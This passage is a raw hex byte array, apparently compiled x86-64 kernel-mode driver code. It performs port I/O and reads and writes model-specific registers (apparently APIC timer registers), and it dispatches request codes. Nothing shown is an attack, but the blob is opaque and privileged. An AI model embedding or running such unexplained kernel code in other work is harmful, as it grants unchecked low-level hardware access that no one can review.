0xD7, 0x8B, 0x8C, 0x24, 0x30, 0x03, 0x00, 0x00, 0xE8, 0xC9, 0xE5, 0xFF, 0xFF, 0x41, 0x83, 0xE4, 0x07, 0x41, 0x83, 0xCC, 0x80, 0x41, 0xC1, 0xE4, 0x08, 0x44, 0x0B, 0xE6, 0x41, 0xC1, 0xE4, 0x10, 0x41, 0x8B, 0xC4, 0x48, 0x89, 0x84,
0x24, 0x90, 0x00, 0x00, 0x00, 0x44, 0x8B, 0xA4, 0x24, 0x40, 0x03, 0x00, 0x00, 0x45, 0x8D, 0x4C, 0x24, 0x04, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8B, 0xC7, 0x8B, 0xD7, 0x8B, 0xB4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x8B, 0xCE, 0xE8, 0x86, 0xE5, 0xFF, 0xFF, 0xBB, 0xA0, 0x86, 0x01, 0x00, 0x89, 0x5C, 0x24, 0x38, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x85, 0xDB, 0x78, 0x3A, 0x48, 0x8D, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8B, 0xCC, 0x45, 0x8B, 0xC7, 0x8B, 0xD7, 0x8B, 0xCE, 0xE8, 0x10, 0xE5, 0xFF, 0xFF, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x0F, 0xBA, 0xE1, 0x1C, 0x72, 0x08, 0xF7, 0xC1, 0x00, 0x00, 0x00, 0xA0, 0x75, 0x08, 0xFF, 0xCB, 0x89, 0x5C, 0x24, 0x38, 0xEB, 0xC2, 0x8B, 0xC1,
0x25, 0x00, 0x00, 0x00, 0xA0, 0x3D, 0x00, 0x00, 0x00, 0x80, 0x0F, 0x84, 0x04, 0x01, 0x00, 0x00, 0xBE, 0xE8, 0x03, 0x00, 0x00, 0x44, 0x8B, 0xE6, 0x89, 0x74, 0x24, 0x38, 0x8B, 0x9C, 0x24, 0x30, 0x03, 0x00, 0x00, 0x45, 0x85, 0xE4, 0x0F, 0x88, 0xA1, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x44, 0x8D, 0x4B, 0x08, 0x45, 0x8B, 0xC7, 0x8B, 0xD7, 0x8B, 0x8C, 0x24, 0x30, 0x03, 0x00, 0x00, 0xE8, 0x9B, 0xE4, 0xFF, 0xFF, 0x4C, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x49, 0x0F, 0xBA, 0xFB, 0x1B, 0x4C, 0x89, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x5C, 0x24, 0x20, 0x44, 0x8D, 0x4B, 0x08, 0x45, 0x8B, 0xC7, 0x8B, 0xD7, 0x8B, 0x9C, 0x24, 0x30, 0x03, 0x00, 0x00, 0x8B,
0xCB, 0xE8, 0xAA, 0xE4, 0xFF, 0xFF, 0x4C, 0x8D, 0x9C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x5C, 0x24, 0x20, 0x44, 0x8B, 0x8C, 0x24, 0x40, 0x03, 0x00, 0x00, 0x45, 0x8B, 0xC7, 0x8B, 0xD7, 0x8B, 0xCB, 0xE8, 0x49, 0xE4, 0xFF, 0xFF, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x25, 0x00, 0x00, 0x00, 0xB0, 0x48, 0x3D, 0x00, 0x00, 0x00, 0x10, 0x74, 0x0D, 0x41, 0xFF, 0xCC, 0x44, 0x89, 0x64, 0x24, 0x38, 0xE9, 0x56, 0xFF, 0xFF, 0xFF, 0x89, 0x74, 0x24, 0x38, 0x85, 0xF6, 0x78, 0x3F, 0x48, 0x8D, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x44, 0x8B, 0x8C, 0x24, 0x40, 0x03, 0x00, 0x00, 0x45, 0x8B, 0xC7, 0x8B, 0xD7, 0x8B, 0xCB, 0xE8, 0xFA, 0xE3, 0xFF, 0xFF, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x0F, 0xBA,
0xE1, 0x1C, 0x72, 0x08, 0xF7, 0xC1, 0x00, 0x00, 0x00, 0xA0, 0x75, 0x08, 0xFF, 0xCE, 0x89, 0x74, 0x24, 0x38, 0xEB, 0xBD, 0x8B, 0xC1, 0x25, 0x00, 0x00, 0x00, 0xA0, 0x3D, 0x00, 0x00, 0x00, 0x80, 0x75, 0x0B, 0x0F, 0xB6, 0xC1, 0x41, 0xB9, 0x01, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x89, 0x4D, 0x00, 0x41, 0x89, 0x45, 0x04, 0x48, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x20, 0x41, 0x89, 0x45, 0x08, 0x41, 0x89, 0x4D, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xF8, 0x13, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xE7, 0x13, 0x00, 0x00,
0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0xF6, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x0C, 0x0F, 0x82, 0xEC, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x55, 0x00, 0x44, 0x89, 0x94, 0x24, 0x30, 0x03, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0x45, 0x08, 0x45, 0x8B, 0xCF, 0x41, 0x0F, 0xB6, 0x4D, 0x04, 0x02, 0xC9, 0x80, 0xC9, 0x01, 0x41, 0x8D, 0x52, 0x03, 0xEE, 0x41, 0x8D, 0x52, 0x02, 0x0F, 0xB6, 0xC1, 0xEE, 0x41, 0x0F, 0xB7, 0xD2, 0xB0, 0x07, 0xEE, 0x41, 0x8D, 0x52, 0x01, 0xEC, 0x44, 0x0F, 0xB6, 0xC0, 0x88, 0x44, 0x24, 0x31, 0xBE, 0xE8, 0x03, 0x00, 0x00, 0x89, 0xB4, 0x24, 0x44, 0x01, 0x00, 0x00, 0x90, 0x41, 0x0F, 0xB6, 0xC8, 0xF7, 0xD1, 0x84, 0xC9, 0x79, 0x55, 0x41, 0x8B, 0xCF, 0x89, 0x8C, 0x24, 0x1C, 0x01, 0x00, 0x00, 0x41, 0x8B, 0xC7, 0x89, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x66, 0x90,
0x3D, 0x20, 0x4E, 0x00, 0x00, 0x73, 0x14, 0xFF, 0xC1, 0x89, 0x8C, 0x24, 0x1C, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0xEB, 0xE5, 0x41, 0x8D, 0x52, 0x01, 0xEC, 0x44, 0x8A, 0xC0, 0x88, 0x44, 0x24, 0x31, 0x83, 0xEE, 0x01, 0x89, 0xB4, 0x24, 0x44, 0x01, 0x00, 0x00, 0x78, 0x02, 0xEB, 0xAB, 0x0F, 0xB6, 0x84, 0x24, 0x38, 0x03, 0x00, 0x00, 0xEB, 0x0B, 0x41, 0x8D, 0x52, 0x04, 0xEC, 0x41, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x45, 0x89, 0x4D, 0x00, 0x0F, 0xB6, 0xC0, 0x41, 0x89, 0x45, 0x04, 0x41, 0x0F, 0xB6, 0xC0, 0x41, 0x89, 0x45, 0x08, 0x41, 0x89, 0x75, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xE7, 0x12, 0x00, 0x00,
0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xD6, 0x12, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0x8F, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x10, 0x0F, 0x82, 0x85, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x89, 0x84, 0x24, 0xCC, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x08, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x0C, 0x89, 0x84, 0x24, 0xD4, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0xE8, 0xB2, 0x15, 0x00, 0x00, 0x44, 0x8B, 0x9C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x45, 0x89, 0x5D, 0x00, 0x8B, 0x84, 0x24, 0xCC, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x04, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x08,
0x8B, 0x84, 0x24, 0xD4, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x3D, 0x12, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x2C, 0x12, 0x00, 0x00, 0x05, 0xFC, 0xDA, 0xBF, 0x63, 0x83, 0xF8, 0x24, 0x0F, 0x87, 0x16, 0x12, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0xB0, 0xCF, 0xFF, 0xFF, 0x0F, 0xB6, 0x84, 0x07, 0xDC, 0x43, 0x00, 0x00, 0x8B, 0x8C, 0x87, 0xB4, 0x43, 0x00, 0x00, 0x48, 0x03, 0xCF, 0xFF, 0xE1, 0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0xF6, 0x01, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x04, 0x0F, 0x82, 0xEC, 0x01, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0xE4, 0x00, 0x00, 0x00,
0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x05, 0x00, 0x03, 0x00, 0x00, 0x89, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x1B, 0x20, 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x8B, 0x48, 0x20, 0x89, 0x8C, 0x24, 0x40, 0x03, 0x00, 0x00, 0x89, 0x8C, 0x24, 0x48, 0x02, 0x00, 0x00, 0x8B, 0x80, 0xE0, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x48, 0x03, 0x00, 0x00, 0x89, 0x84, 0x24, 0x4C, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x0F, 0xBA, 0xF1, 0x11, 0x41, 0x89, 0x4C, 0x24, 0x20, 0x41, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x45, 0x8B, 0xBC, 0x24, 0x90, 0x00, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0x4C, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xD8, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xED, 0x1E, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x80, 0x48, 0xB8, 0xCF, 0xF7, 0x53, 0xE3, 0xA5, 0x9B, 0xC4, 0x20, 0x48, 0xF7, 0xE9, 0x48, 0x8B, 0xFA, 0x48, 0xC1, 0xFF, 0x07, 0x48, 0x8B, 0xC7, 0x48, 0xC1, 0xE8, 0x3F, 0x48, 0x03, 0xF8, 0xB8, 0x00, 0x00, 0xF0, 0xFF, 0x0F, 0x1F, 0x00, 0x41, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x89, 0x8C, 0x24, 0x30, 0x03, 0x00, 0x00, 0x3B, 0xC8, 0x73, 0x2B, 0x41, 0x89, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x45, 0x8B, 0xBC, 0x24, 0x90,
0x00, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0x4C, 0x01, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x85, 0x1E, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x44, 0x89, 0xBC, 0x24, 0x30, 0x03, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x72, 0x1E, 0x00, 0x00, 0x4C, 0x8B, 0xD8, 0x48, 0x2B, 0xC3, 0x48, 0x3B, 0xC7, 0xB8, 0x00, 0x00, 0xF0, 0xFF, 0x7C, 0xAA, 0x4C, 0x2B, 0xDB, 0x4D, 0x85, 0xDB, 0x7E, 0x2A, 0x44, 0x2B, 0xBC, 0x24, 0x30, 0x03, 0x00, 0x00, 0x41, 0x8B, 0xC7, 0x48, 0x0F, 0xAF, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0xC1, 0xE0, 0x03, 0x48, 0x99, 0x49, 0xF7, 0xFB, 0x48, 0x8B, 0xD8, 0x48, 0x89, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0xEB, 0x0A, 0x33, 0xDB, 0x48, 0x89, 0x9C, 0x24, 0x98, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x40, 0x03, 0x00, 0x00, 0x41, 0x89, 0x44, 0x24, 0x20, 0x8B, 0xBC,
0x24, 0x48, 0x03, 0x00, 0x00, 0x41, 0x89, 0xBC, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x8B, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x41, 0x89, 0xB4, 0x24, 0x80, 0x00, 0x00, 0x00, 0xBA, 0x00, 0x01, 0x00, 0x00, 0x49, 0x8B, 0xCC, 0xFF, 0x15, 0x1E, 0x1E, 0x00, 0x00, 0x41, 0x89, 0x5D, 0x00, 0x8B, 0x84, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x89, 0x45, 0x04, 0x41, 0x89, 0x7D, 0x08, 0x41, 0x89, 0x75, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x03, 0x10, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xF2, 0x0F, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x10, 0x0F, 0x82, 0xA5, 0x02, 0x00, 0x00, 0x83,
0x7A, 0x10, 0x04, 0x0F, 0x82, 0x9B, 0x02, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x44, 0x89, 0x7C, 0x24, 0x78, 0x44, 0x89, 0x7C, 0x24, 0x64, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x78, 0x48, 0x8D, 0x4C, 0x24, 0x64, 0xFF, 0x15, 0xCA, 0x1D, 0x00, 0x00, 0x41, 0x8B, 0x7D, 0x00, 0x89, 0xBC, 0x24, 0x08, 0x02, 0x00, 0x00, 0xB9, 0x32, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xE0, 0x4C, 0x89, 0xA4, 0x24, 0x88, 0x02, 0x00, 0x00, 0xB9, 0x3E, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x8B, 0xC0, 0x48, 0x89, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2,
0x8B, 0xC0, 0x48, 0x89, 0x84, 0x24, 0x98, 0x02, 0x00, 0x00, 0xB9, 0x32, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xC0, 0x49, 0x0F, 0xBA, 0xF0, 0x11, 0x49, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0x41, 0x8B, 0xC0, 0x0F, 0x30, 0xBA, 0x02, 0x00, 0x00, 0x00, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x3E, 0x08, 0x00, 0x00, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x0F, 0x30, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x8B, 0xC6, 0x0F, 0x30, 0xB9, 0x39, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xD0, 0x4C, 0x89, 0x94, 0x24, 0x78, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xED, 0x44, 0x8B, 0xC0, 0x89, 0x44, 0x24, 0x68, 0x41, 0x81, 0xE0, 0xFF, 0xFF, 0xFF,
0x00, 0x44, 0x89, 0x44, 0x24, 0x68, 0x45, 0x8B, 0xDF, 0x44, 0x89, 0xBC, 0x24, 0x00, 0x01, 0x00, 0x00, 0x41, 0x8B, 0xDF, 0x89, 0x9C, 0x24, 0x70, 0x01, 0x00, 0x00, 0x41, 0xBF, 0x00, 0x00, 0xF0, 0xFF, 0xB9, 0x39, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xC8, 0x4D, 0x3B, 0xCF, 0x73, 0x4C, 0x48, 0x8B, 0xD6, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x8B, 0xC6, 0x0F, 0x30, 0xB9, 0x39, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xD0, 0x4C, 0x89, 0x94, 0x24, 0x78, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xED, 0x44, 0x8B, 0xC0, 0x89, 0x44, 0x24, 0x68, 0x41, 0x81, 0xE0, 0xFF, 0xFF, 0xFF, 0x00, 0x44, 0x89, 0x44, 0x24, 0x68, 0x4D, 0x8B, 0xCA, 0xFF, 0xC3, 0x89, 0x9C, 0x24, 0x70,
0x01, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xED, 0x8B, 0xC8, 0x89, 0x84, 0x24, 0x9C, 0x00, 0x00, 0x00, 0x81, 0xE1, 0xFF, 0xFF, 0xFF, 0x00, 0x89, 0x8C, 0x24, 0x9C, 0x00, 0x00, 0x00, 0x41, 0x3B, 0xC8, 0x73, 0x0D, 0x81, 0xC1, 0xFF, 0xFF, 0xFF, 0x00, 0x89, 0x8C, 0x24, 0x9C, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xC3, 0x44, 0x89, 0x9C, 0x24, 0x00, 0x01, 0x00, 0x00, 0x8B, 0xC1, 0x41, 0x2B, 0xC0, 0x3D, 0x98, 0x3A, 0x00, 0x00, 0x0F, 0x82, 0x57, 0xFF, 0xFF, 0xFF, 0x66, 0x0F, 0xEF, 0xD2, 0xF2, 0x49, 0x0F, 0x2A, 0xD2, 0x4D, 0x85, 0xD2, 0x79, 0x0E, 0xF2, 0x0F, 0x10, 0x05, 0xE8, 0x1C, 0x00, 0x00, 0xF2, 0x0F, 0x58, 0xD0, 0xEB, 0x08, 0xF2, 0x0F, 0x10, 0x05, 0xDA, 0x1C, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC9, 0xF2, 0x49, 0x0F, 0x2A, 0xC9, 0x4D, 0x85, 0xC9, 0x79, 0x04, 0xF2, 0x0F, 0x58, 0xC8,
0xF2, 0x0F, 0x5C, 0xD1, 0x8B, 0xD1, 0x66, 0x0F, 0xEF, 0xC9, 0xF2, 0x48, 0x0F, 0x2A, 0xCA, 0x41, 0x8B, 0xD0, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC2, 0xF2, 0x0F, 0x5C, 0xC8, 0xF2, 0x0F, 0x59, 0x15, 0xA9, 0x1C, 0x00, 0x00, 0xF2, 0x0F, 0x5E, 0xD1, 0xF2, 0x0F, 0x5A, 0xC2, 0x49, 0x8B, 0xD4, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x32, 0x08, 0x00, 0x00, 0x41, 0x8B, 0xC4, 0x0F, 0x30, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x3E, 0x08, 0x00, 0x00, 0x0F, 0x30, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x0F, 0x30, 0xF3, 0x48, 0x0F, 0x2C, 0xC0, 0x41, 0x89, 0x45, 0x00, 0x41, 0x89, 0x5D, 0x04, 0x45, 0x89, 0x5D, 0x08, 0x45, 0x89, 0x55,
0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x43, 0x0D, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x32, 0x0D, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x10, 0x73, 0x11, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0x1B, 0x0D, 0x00, 0x00, 0xB9, 0x32, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x8B, 0xC0, 0x48, 0x89, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0xB9, 0x3E, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x8B, 0xC0, 0x48, 0x89, 0x84, 0x24, 0x70, 0x02, 0x00, 0x00, 0xB9, 0x38, 0x08, 0x00,
0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x8B, 0xC0, 0x48, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0xB9, 0x32, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xC0, 0x49, 0x0F, 0xBA, 0xF0, 0x11, 0x49, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0x41, 0x8B, 0xC0, 0x0F, 0x30, 0xBA, 0x02, 0x00, 0x00, 0x00, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x3E, 0x08, 0x00, 0x00, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x0F, 0x30, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x8B, 0xC6, 0x0F, 0x30, 0xB9, 0x39, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xE0, 0x4C, 0x89, 0xA4, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x01, 0x00,
0x00, 0xFF, 0x15, 0x11, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x8B, 0x84, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x80, 0x48, 0xB8, 0xCF, 0xF7, 0x53, 0xE3, 0xA5, 0x9B, 0xC4, 0x20, 0x48, 0xF7, 0xE9, 0x48, 0x8B, 0xFA, 0x48, 0xC1, 0xFF, 0x07, 0x48, 0x8B, 0xC7, 0x48, 0xC1, 0xE8, 0x3F, 0x48, 0x03, 0xF8, 0x41, 0xBF, 0x00, 0x00, 0xF0, 0xFF, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0xB9, 0x39, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x8B, 0xC0, 0x48, 0x89, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x49, 0x3B, 0xC7, 0x73, 0x3C, 0x48, 0x8B, 0xD6, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x8B, 0xC6, 0x0F, 0x30, 0xB9, 0x39, 0x08, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x44, 0x8B, 0xE0, 0x4C, 0x89,
0xA4, 0x24, 0x20, 0x02, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x8A, 0x19, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x4C, 0x89, 0xA4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x77, 0x19, 0x00, 0x00, 0x4C, 0x8B, 0xD8, 0x48, 0x2B, 0xC3, 0x48, 0x3B, 0xC7, 0x7C, 0x94, 0x4C, 0x2B, 0xDB, 0x4D, 0x85, 0xDB, 0x7E, 0x22, 0x4C, 0x2B, 0xA4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x4C, 0x0F, 0xAF, 0xA4, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x49, 0xC1, 0xE4, 0x03, 0x33, 0xD2, 0x49, 0x8B, 0xC4, 0x49, 0xF7, 0xF3, 0x4C, 0x8B, 0xC0, 0xEB, 0x0B, 0x45, 0x33, 0xC0, 0x4C, 0x89, 0x84, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x32, 0x08, 0x00, 0x00, 0x0F, 0x30, 0x4C, 0x8B, 0x8C, 0x24, 0x70, 0x02, 0x00, 0x00, 0x49,
